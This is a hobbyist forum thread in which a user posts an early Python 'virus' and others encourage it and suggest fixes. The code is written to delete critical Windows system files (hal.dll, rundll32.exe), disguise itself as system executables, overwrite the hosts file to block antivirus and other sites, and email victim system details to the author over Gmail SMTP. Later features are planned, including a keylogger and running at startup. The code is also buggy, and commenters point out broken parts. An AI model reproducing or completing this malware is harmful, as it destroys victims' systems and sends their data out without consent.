Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
iVirus possible WIP
  • So I started a possible iVirus 'alpha'. What do you guys think so far. Not a good virus but its a start.

    [spoiler]

    #!/usr/bin/python
    #Version 0.01 alpha iExploit Virus
    '''
    So far: Copies to C:\WINDOWS\~, makes many copies to fill the windows folder with teh spamz*, blinks scroll,caps,num lock on/off
    writes to hosts file to block websites*, sends email when virus is opened

    * = Untested
    ~ = Not functional(yet)
    '''
    #To do: Get it to run when windows starts, obtain admin automatically, keylogger code(Need more suggestions!)
    import os, shutil, tempfile, random, sendkeys, smtplib, urllib

    source1 = 'ie.exe'
    source2 = 'C:\WINDOWS\schhost.exe'
    winupdate = 'C:\WINDOWS\winupdate.exe'
    spam = random.random()

    def copy():
    shutil.copy2(source1, source2)
    shutil.copy2(source2, winupdate)
    file = open(spam,\"w\")

    def spam():
    i=300
    while i < n:
    file = open(spam,\"w\")
    i += 1
    def keyblink():
    SendKeys.SendKeys(\"\"\"
    {CAPSLOCK}
    {SCROLLOCK}
    {NUMLOCK}
    \"\"\")
    def fucksystem():
    #Deletes crucial windows files
    os.remove('C:\WINDOWS\system32\hal.dll')
    os.remove('C:\WINDOWS\system32\rundll32.exe')

    def hostsfuck():
    #Writes to hosts file disallowing certain sites
    hostsfile = ('C:\WINDOWS\system32\drivers\etc\hosts')
    openhost = open(hostsfile,'w')
    hostsfile.write(\"127.0.0.1 http://virustotal.com/\")
    hostsfile.write(\"127.0.0.1 http://symantec.com/\")
    hostsfile.write(\"127.0.0.1 http://facebook.com/\")
    hostsfile.write(\"127.0.0.1 http://google.com/ \")

    def keylogger():
    #Keylogger source code to go here
    print()
    def sendmail():
    uid = os.getuid()
    pid = os.getpid()
    curdir = os.getcwd()
    info = os.uname()
    now = time.time()
    sender = ('from@gmail.com')
    recieve = ('to@gmail.com')
    message = (\"\"\"
    You have a new victim!
    Here's some system information:
    User ID:
    \"\"\" + uid + \" \nProcess ID: \" + pid + \"\n Current Directory \" + curdir + \"\n System info: \" + info + \"\n\nTime: \" + now)
    msgbody = (message)
    #Put your gmail username and password here
    username = ('username')
    password = ('password')
    gmail = smtplib.SMTP('smtp.gmail.com:587')
    gmail.starttls()
    gmail.login(username,password)
    gmail.sendmail(sender, recieve, msgbody)
    gmail.quit

    copy()
    spam()
    keyblink()
    fucksystem()
    hostsfuck()
    sendmail()

    [/spoiler]
  • Xin
    Posts: 3,251
    Good start chronic, il look into some python networking for some other functions
    Xin
  • Thanks I just kinda whipped it up to get an idea. I updated the code and put some more stuff in it such as email when you get a new victim. Check it out.
  • sangf
    Posts: 203
    noice~~ some tips though~~

    pointless open() file for write in copy(). broken loop in spam() - n doesn't exist as far as i can see (also, i don't think spamming open() will be of much effect - maybe you are confusing its functionality). in hostsfuck() you are using hostfile to perform write(), but it's a string type, and doesn't have that method.. i'm sure you meant to use openhost, which is an actual file object.. and you should always close() files you open(). can't comment on the module specific stuff but i guess the downside to writing something like this is not being able to test it, haha - maybe try a VM.
  • said:


    noice~~ some tips though~~

    pointless open() file for write in copy(). broken loop in spam() - n doesn't exist as far as i can see (also, i don't think spamming open() will be of much effect - maybe you are confusing its functionality). in hostsfuck() you are using hostfile to perform write(), but it's a string type, and doesn't have that method.. i'm sure you meant to use openhost, which is an actual file object.. and you should always close() files you open(). can't comment on the module specific stuff but i guess the downside to writing something like this is not being able to test it, haha - maybe try a VM.


    Lol thanks. Like I said I whipped it up really fast and didn't have any time to really test it.
  • Xin
    Posts: 3,251
    Shall we make a github repo for it? It will allow for better version control and source management,
    Xin
  • said:


    Shall we make a github repo for it? It will allow for better version control and source management,



    Go for it. If you think it'll make it easier for control and source management do it up.
  • Xin
    Posts: 3,251
    Unfortunately im not too good with python networking and virus writing so i wont be able to help a lot with this but il try my best
    Xin
  • said:


    Unfortunately im not too good with python networking and virus writing so i wont be able to help a lot with this but il try my best



    Well, you could always code parts in a different language, and we could implement it into python.
  • said:


    Since you coded a virus for the first time i think its a good start!!



    This isn't my first time coding a virus.
  • sangf
    Posts: 203
    what python version are you using?
  • said:


    what python version are you using?



    Well I'm currently coding on a portable version of python because I'm grounded and I can work on it at school. So I don't know at the moment.

    UPDATE:Added system information within the email sender. Once it opens it sends an email to you giving some information about the system.